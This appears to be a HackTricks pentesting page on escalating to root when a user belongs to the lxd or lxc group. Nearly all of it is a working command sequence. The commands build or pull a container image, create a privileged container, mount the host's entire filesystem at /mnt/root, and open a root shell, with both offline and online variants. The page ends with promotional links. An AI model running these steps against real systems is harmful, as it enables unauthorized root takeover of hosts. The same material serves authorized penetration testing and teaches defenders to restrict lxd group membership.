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If you belong to lxd or lxc group, you can become root
Exploiting without internet
You can install in your machine this distro builder: https://github.com/lxc/distrobuilder follow the instructions of the github:
#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
cd
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
Then, upload to the server the files lxd.tar.xz and rootfs.squashfs
Add the image:
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
Create a container and add root path
lxc init alpine privesc -c security.privileged=true
lxc list #List containers
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Execute the container:
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
With internet
You can follow these instructions.
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
Other Refs
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥
-
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
-
Discover The PEASS Family, our collection of exclusive NFTs
-
Get the official PEASS & HackTricks swag
-
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
-
Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.